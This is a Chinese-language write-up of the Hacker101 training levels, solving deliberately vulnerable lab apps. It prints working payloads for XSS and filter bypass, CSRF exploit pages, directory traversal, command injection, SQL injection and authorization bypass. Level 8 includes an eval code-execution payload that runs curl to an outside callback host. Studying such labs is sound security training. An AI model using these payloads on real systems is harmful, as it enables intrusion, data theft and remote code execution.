Hacker 101 Writeup
sessions
- Introduction
- The Web In Depth
- XSS and Authorization
- SQL Injection and Friends
- Session Fixation
- Clickjacking
- File Inclusion Bugs
- File Upload Bugs
- Null Termination Bugs
- Unchecked Redirects
- Password Storage
- Crypto series
Vulnerabilities
- Clickjacking
- Command Injection
- Cross-Site Request Forgery (CSRF)
- Directory Traversal
- Local/Remote File Inclusion
- Improper Authorization
- Insecure Password Storage
- Improper Handling of Null Termination
- Padding Oracle
- Reflected Cross-Site Scripting (XSS)
- Session Fixation
- SQL Injection
- Stored Cross-Site Scripting (XSS)
- Stream Cipher Key Reuse
- Unchecked Redirect
Coursework
- Level 0: Breakerbank
- Level 1: Breakbook
- Level 2: Breaker Profile
- Level 3: Breaker CMS
- Level 4: Breaker News
- Level 5: Document Repository
- Level 6: Student Center
- Level 7: Guardian
- Level 8: Document Exchange
level 0
刚试了第一题的XSS,被chrome拦截了。看来得换firefox做!
前端源码
xss
1 | 1000"><script>alert(1)</script><img scr="none" border="0px |
1 | Destination account: <input type="input" name="to" value="12121"><script>alert(1)</script><img scr="none" border="0px"><br> |
Destination account 对敏感的输入做了转码,而Amount没有,所以导致了反射型XSS的出现。
CSRF
post型的CSRF,需要放在iframe中才能绕过同源策略的限制。提交转账请求的时候没有任何校验请求的发送者是真实人发送的还是有代码触发的。一般的防御措施有:
- 验证码(缺陷不可能任何请求都添加验证码)
- Referer(可以伪造)
- Token验证(广泛采用的方法)
自己编写利用脚本利用CSRF,内容如下。参考 https://www.hacker101.com/vulnerabilities/csrf 给的利用代码
1 |
|
我当前登录的账号为1711,只要访问此页面就会自动给1811转账$1234。
在加载iframe中,提交post请求时使用的cookie是已登录用户1711的cookie,故服务器会以为是1711发起的转账请求,并完成了转账操作。
权限绕过
表单中添加from,任意指定转账的发起方。测试时,直接在POST的参数中添加from参数。
1 | POST /levels/0/ HTTP/1.1 |
权限绕过 参考 https://octfive.cn/299
level 1
XSS
判断哪些符号被过滤输入
测试
'<>:;"test
,结果<td>'<>:;"test</td>
,可以看出尖括号被过滤了。是否有部分标签没有被过滤
测试测试
<img>
,结果<td><img></td>
。<img>
被过滤。判断是否为递归转译
测试
<im<img>g>
,结果<td><im<img>g></td>
, 是递归转移。url编码绕过,看服务端是否会还原url编码
测试
%3cscript%3ealert(%22xss%22)%3c/script%3e
, url编码没有被还原。script关键字没有被过滤。后测试unicode编码
\u003cimg src=1 onerror=alert(/xss/)\u003e
、u003cimg src=1 onerror=alert(/xss/)u003e
仔细看题发现,提示“HTML disallowed, but links will be clickable.”、
5.1 测试
<a herf="http://www.test.com">Click</a>
,结果<td><a herf="<a href="http://www.test.com">Click</a>">http://www.test.com">Click</a></a></td>
, 发现可以利用。5.2 加入JavaScript伪协议
<a herf=javascript:alert(1);>Click</a>
,结果<td><a herf=javascript:alert(1);>Click</a></td>
, 发现被转译5.3 将javascript:alert(1) 放在href中判断是否服务端通过关键字匹配过滤掉了javascript:alert(1) .
<a herf="[http://www.javascript:alert(1).com">Click](http://www.javascript:alert%281%29.com)
, 结果<td><a herf="<a href="http://www.javascript:alert(1).com">Click</a>">http://www.javascript:alert(1).com">Click</a></a></td>
。发现javascript:alert(1)没有被过滤。事实上在5.2中就可以看出来没有被过滤。但是在5.2中没有触发出异常。5.4 开始一点一点删除5.3的herf中字符,向5.2靠近。最后发现必须是
<a href="http://
的格式才能触发异常,于是开始构建代码进行处理。能够被解析成为html代码的片段,只能是href中的部分。于是需要绕过空格限制 。5.5 绕过空格限制
测试
<a herf="http://"onmouseover=javascript:alert(1)
, 结果<td><a herf="<a href="http://"onmouseover=javascript:alert(1)">http://"onmouseover=javascript:alert(1)</a></td>
。发现是双引号没有匹配正确,试了好几次发现只要添加一个"
,使引号正确配对就可以了。最终代码
payload1
<a herf="http://"onmouseover="javascript:alert(1)
经过后台处理的代码
1
<td><a herf="<a href="http://"onmouseover="javascript:alert(1)">http://"onmouseover="javascript:alert(1)</a></td>
当鼠标经过是,出现弹窗。故说明存在存储型XSS。
其他的一些尝试
7.1 使用url编码空格为%20,无效。
7.2 使用;代替空格,无效。这个姿势不知道行不行,记不清书上怎么讲的了。
发现一个技巧
不一定每次都要提交自己的代码,让服务器解析,来看载荷的效果。也可以现在本地测试一下,优化一下自己的载荷后,再提交。即使用F12调出调试工具,编辑html,在被服务器解析的源码基础上测试可能的方案,调优后在提交到服务器测试。这样做的好处是,减少了测试的时间,比如这一道题目是存储型的XSS,当提交了数据后后跳转到另一界面,看结果看需要跳转回来。如果每次都能提交更优的载荷,那么就会省掉很多这种跳转操作。
简而言之: 对自己的猜测,尽量在本地测试一下
CSRF with csrf token
Token重用 + XSS
想过,用xss获取token,但由于引发xss的前提是需要提前知道csrf token 所以这种方法行不通。
又过了两天,拿起再看看,试试重放,发现成功了。csrf不是使用一次就失效,可以多次使用。首先获取到提交页面获取token,然后在利用代码中使用。后来,看别人的解答。才知道只要给任意32位的token就能过,只验证了token的长度,没有验证token的内容。回过头来看重放的思路不对,作者的意图是让我们猜测csrf token的结构,然后构造token进行绕过。以下应当才是正确的思路。
另外token是用户名的MD5值,可根据用户名构造token。
1 | <html> |
Forced Browsing
查看自己每次测试的详情,更改id能够访问别人的测试记录。
自己的记录
别人的记录
存储型XSS + 强制浏览
level 2
Stored XSS
测试了一下Nickname,发现<>’”等符号被转译,于是测试图片地址。pic的地址必须以.png .jpg 结尾,所以代码插在地址中间部分。
另外description也存在存储型XSS。
1 | [ red"><img src="" onerror="alert(1)" /> " | All ] [ orange | the ] [ yellow | colors ] [ green | of ] [ blue | the ] [ purple | rainbow! ] |
“颜色” 没有进行过滤和转发,在各种颜色后面都可以触发XSS。
Reflected XSS
1 | https://levels-a.hacker101.com/levels/2/edit?id="><script>alert("xss")</script> |
测试参数id,发现存在发射型XSS。
Unrelated Bonus
不知道是什么意思
level 3
进来看了一下题,有xss,但是没有框、参数之类的。那就先做Improper Authorization吧!
Improper Authorization
源码里的js写的很清楚,需要改cookie绕过登录。
1 | var page = window.location.hash.substring(1); |
结合js和cookie值可知,修改cookie中admin对应的值1,即可。
修改之后,首页多了一个链接。现在的身份已经是admin了。
技巧
调试的时候,不知道cookie[0]当前值为多少,但想知道当前值是多少。怎么办,可以写油猴脚本。此题这样做可能会复杂一点,若是复杂一点的逻辑可以试试这种方法。
1 | // ==UserScript== |
重新加载页面,就能看到cookie、cookie[0]、cookie[1]的值了。如果这些值没有满足条件,只需针对性修改就可以了。这样做的好处是很直观。
解此题
首先看看cookie、cookie[0]、cookie[1]的值。这题要求cookie[0]等于admin,cookie[1]等于1。现在cookie[0]满足条件了,现在只需要修改cookie[1]让它等于1。
修改admin的cookie值为1后的输出,现在条件都满足了。这一题完成了!
Various XSS
Page Body 存储型XSS
直接插入script会被过滤掉。img标签还是很好用。
虽然提示说DOM事件会被过过滤,难道是漏洞了onerror。也不是,测试发现之后onerror在img标签内才不会被过滤掉,在a标签中就被过滤掉了(会显示JS Detected!)。
1
2
3
4
5
6
7
8<!-- img onerror -->
<img src="#" onerror="alert(1)">
<!-- script大小写绕过 -->
<ScRiPt>alert(1);</ScRiPt>
<!-- action -->
<isindex action="javascript:alert(1)" type=image>
<!-- data -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
xss弹窗
xss绕过参考:http://www.freebuf.com/articles/web/20282.html
Unrelated Bonuses
level 4
有点像hackernews,点进去是大家的测试代码,看来不少人测试成功了(一进去满是弹窗)。
XSS
把之前第二题用过的代码herf="http://"onmouseover="javascript:alert(1)
,放在进去测试。
以下是服务器处理之后,返回的代码。可以看出herf="http://"onmouseover="javascript:alert(1)
中第一个"
之后的代码在后面出现了而且还没有被转译。
1 | <a href="http://"onmouseover="javascript:alert(1)"><script>alert(1)</script></a> ("onmouseover="javascript:alert(1))<br> |
于是构造出http://""<img src="" onerror=alert(2)>
,提交弹窗出现了。1
<a href="http://""<img src="" onerror=alert(1024)>">try again</a> (""<img src="" onerror=alert(1024)>)<br>
CSRF
发布帖子
用两个账号获取不同的csrf
2e2e2e4e6f7420746869732074696d6521fead9de65b071673d99156141e19792f
2e2e2e4e6f7420746869732074696d6521b8a293a191f581aaf42bbf2a2df4f24f66位
使用 burpsuite 发现前面一部份是ASCII HEX编码
2e2e2e4e6f7420746869732074696d6521
…Not this time!剩下的32位 应该是md5,应该和用户名有关
fead9de65b071673d99156141e19792f
b8a293a191f581aaf42bbf2a2df4f24f
尝试了用户名/…Not this time!/Breaker News 各种组合的MD5但是不对
…Not this time! 的意思是不是要做其他题,然后回头来做这题。例如Systemic Information Disclosures会不会有提示!删帖(无效)
把id换成被人的,提示不能删除。这个功能不存在csrf。
点赞
点赞呢?csrf点赞。
首先,不存在重复点赞的情况。(重放攻击,刷赞)
只要指定id就能为别人刷赞,这也应该一个是csrf吧!firefox有效,chrome无效。
1
2
3
4
5
6
7
8
9
10<html>
<head>
<title>Test CSRF </title>
</head>
<body>
true<img src="http://levels-a.hacker101.com/levels/4/vote?change=1&type=Story&id=4721001476653056&from=https://levels-a.hacker101.com/levels/4/" alt="none" />
</body>
</html>Unchecked Redirects
理论:http://blog.csdn.net/quiet_girl/article/details/50616927
1 | http://levels-a.hacker101.com/levels/4/vote?change=1&type=Story&id=4721001476653056&from=http://www.google.com |
在投票、删帖之后需要跳转后原来的页面,但可以修改from的值。由于没有任何检查,从而实现重定向到任意的url。
Systemic Information Disclosures
绝对路径泄露,不知道算不算?
Improper Identity Handling
level 5
Directory Traversal
1 | https://levels-b.hacker101.com/level5?path=./../../ |
读取文件
直接跟路径发现报错(路径遍历的时候 https://levels-b.hacker101.com/level5/read?path=../main.py),提示No such file: main.py。猜测过滤掉了../,尝试绕过。使用 https://levels-b.hacker101.com/level5/read?path=....//main.py 读取到了文件。
Reflected XSS
path参数存在反射性XSS漏洞,当路径不存在时未经过滤而直接报错输出。
1 | https://levels-b.hacker101.com/level5?path=/ebook<script>alert("xss")</script> |
Command Injection
根据源码,可以出一下请求
https://levels-b.hacker101.com/level5/post_search
post数据:csrf=644b6355ee205742d9476a7f366a453f&path=../&text=niceAAA”;id;cd “
1 | commands.getoutput('grep -r "%s" .' % text) |
添加cd是为了闭合后面的点号,一遍执行任意命令。
在本地编写代码测试,发现需要闭合双引号。测试发现使用” 需要转译,否则会报错。测试代码如下
1 | #!/usr/bin/python |
但是直接使用niceAAA\";ls;cd\"
无效, 猜测是编码问题。url编码等尝试未果后,删除了转译符号,测试通过。
源码
1 | import commands, os |
level 6
Reflected/Stored XSS
Reflected XSS
1 | https://levels-b.hacker101.com/level6?filter="><script>alert("xss")</script> |
Stored XSS
主页显示的时候,特殊字符做了转译,但在编译页面没有做转译。first name做了转译,last name没有做转译。
1 | Doe<img src="><img src=1 onerror=alert("xss")> |
SQL Injection
sqlmap跑出来的
1 | https://levels-b.hacker101.com/level6?filter=j') UNION SELECT DISTINCT database(),version(),user() --+ |
查看源码,发现需要首先使用 ')
闭合前面的部分,然后执行union查询,最后注释掉后面的查询。起初尝试了各种闭合的手段,但唯独不知道要用有括号的存在。逆向推测发现,当时用该这样理解。由于是模糊查询 且 firstname 和 lastname 匹配一个即可,应当想到次查询并列,可能会用括号将这两个条件包括在一起。
1 | dict(filter=filter, students=db.query("SELECT id, lastname, firstname FROM students WHERE sessid='%s' AND (firstname LIKE '%%%%%s%%%%' OR lastname LIKE '%%%%%s%%%%');" % (handler.sessid(), filter, filter))) |
CSRF
1 | 不同账号获取到的csrf token |
本想使用反射性 XSS 获取cookie,但设置了HttpOnly。这条路行不行。
正好在 Edit 页面同时有csrf token 和 存储型 XSS ,两者结合起来可以获取到csrf token。但是怎么触发?必须知道csrf token才能触发存储型 XSS,也就是说拿不到别人的token。故此方法也不可行。
后发现直接向https://levels-b.hacker101.com/level6/post_add 提交数据,不带 csrf token 可以添加成功。
1 |
|
源码
1 |
|
- 不提交csrf token。
- 提交任意csrf token。
- 猜测 csrf token 的构造。
- 是不是只校验了长度。
- 可不可以用另一个账号获取的代替,即token 和账户没有绑定,只要token有效即可。
- 使用 XSS 获取 token。
源码
1 | from handler import * |
level 7
###XSS
登录错误提示页面存在 XSS 漏洞,username 特殊符号经过了转译,而 password 没有。
1 | https://levels-b.hacker101.com/level7?error=User+does+not+exist&username=admin&password=admin"><script>alert("xss")</script> |
SQL Injection
1 | csrf=9c1debdb7dcc0f6a1c67bd4f20454a1b&username=admin' or 1 ’# &password= |
得到报错信息,user = db.query(“SELECT password FROM users WHERE username=’%s’” % username)
1 | csrf=9c1debdb7dcc0f6a1c67bd4f20454a1b&username=admin' or 1#&password= |
先前一直在再试万能密码,但是仍旧提示用户不存在,即查询到的结果为空。猜测表中没有数据。
后使用union查询,实现注入。
1 | csrf=9c1debdb7dcc0f6a1c67bd4f20454a1b&username=admin' order by 1#&password= |
此题是根据用户名在数据库中查询密码,然后与提交的密码来判断是否一致。
1 | from handler import * |
level 8
上传 html 文件,预览时直接进入了下载。比对发现多了Content-Disposition 属性,它是作为对下载文件的一个标识字段。
XSS
上传任意文件(如png),burpsuite 代理修改 MIME-type Content-Type: image/png
为Content-Type: </td><script>alert(1)</script>onmouseover=alert(1)><td>
一直以为要通过上传绕过实现 XSS ,让上传的文件得以解析为HTML,最终在浏览器执行。回过头来想一想,这应该是文件上传漏洞,而不是 XSS 漏洞。
Directory Traversal
不能读取任意文件,但是能够覆盖任意文件
1 | POST /level8/post_index |
修改 filename 为需要覆盖的文件,我们可以拿 level 5 中的目录遍历漏洞查看写入的内容。问题出现 doc.save(‘level8_sandbox/‘ + filename) ,filename 可以是包含 “.” 和 “/“ 的路径。
SQL Injection
Code Execution
漏洞在下载功能处,命令执行点 download = eval(download)。接收参数 download,但是没有输出,我们可以用服务器接收输出。
即外带式命令执行漏洞。
1 | https://levels-b.hacker101.com/level8/view/13151?download=__import__('os').system('curl http://83i93o.ceye.io?from-hacker101') |
查看 http 请求,发现请求过来了,命令执行成功了。
源码
1 | from handler import * |